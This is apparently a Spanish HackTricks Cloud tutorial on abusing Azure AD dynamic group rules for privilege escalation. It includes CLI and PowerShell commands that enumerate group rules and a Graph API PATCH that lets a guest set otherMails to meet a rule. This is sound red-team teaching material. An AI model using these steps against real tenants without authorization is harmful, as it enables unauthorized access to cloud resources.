Az - Dynamic Groups Privesc
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Información básica
Dynamic groups son grupos que tienen un conjunto de reglas configuradas y todos los usuarios o dispositivos que coinciden con las reglas son agregados al grupo. Cada vez que se cambia un atributo de un usuario o dispositivo, las reglas dinámicas se vuelven a comprobar. Y cuando se crea una nueva regla, todos los dispositivos y usuarios son verificados.
Dynamic groups pueden tener Azure RBAC roles assigned a ellos, pero no es posible agregar AzureAD roles a los Dynamic groups.
Esta funcionalidad requiere licencia Azure AD Premium P1.
Privesc
Ten en cuenta que por defecto cualquier usuario puede invitar invitados en Azure AD, por lo que, si una regla de un dynamic group otorga permisos a usuarios basándose en atributos que se pueden establecer en un nuevo invitado, es posible crear un invitado con esos atributos y escalar privilegios. También es posible que un invitado gestione su propio perfil y cambie estos atributos.
Obtén los grupos que permiten Dynamic membership: az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table
Enumeración de Dynamic Groups
Obtén las reglas de un dynamic group:
Con Azure CLI:
az ad group list \
--filter "groupTypes/any(c:c eq 'DynamicMembership')" \
--query "[].{displayName:displayName, rule:membershipRule}" \
-o table
Con PowerShell y Microsoft Graph SDK:
Install-Module Microsoft.Graph -Scope CurrentUser -Force
Import-Module Microsoft.Graph
Connect-MgGraph -Scopes "Group.Read.All"
Get-MgGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')" `
-Property Id, DisplayName, GroupTypes
# Get the rules of a specific group
$g = Get-MgGroup -Filter "displayName eq '<GROUP NAME>'" `
-Property DisplayName, GroupTypes, MembershipRule, MembershipRuleProcessingState
$g | Select-Object DisplayName, GroupTypes, MembershipRule
# Get the rules of all dynamic groups
Get-MgGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')" `
-Property DisplayName, MembershipRule |
Select-Object DisplayName, MembershipRule
Ejemplo
- Rule example:
(user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest") - Rule description: Cualquier usuario Guest con un correo electrónico secundario que contenga la cadena ‘security’ será añadido al grupo
Para el correo del usuario Guest, acepta la invitación y comprueba la configuración actual de ese usuario en https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView.
Desafortunadamente la página no permite modificar los valores de los atributos, por lo que necesitamos usar la API:
# Login with the gust user
az login --allow-no-subscriptions
# Get user object ID
az ad signed-in-user show
# Update otherMails
az rest --method PATCH \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--headers 'Content-Type=application/json' \
--body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}'
# Verify the update
az rest --method GET \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--query "otherMails"
Referencias
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks Cloud

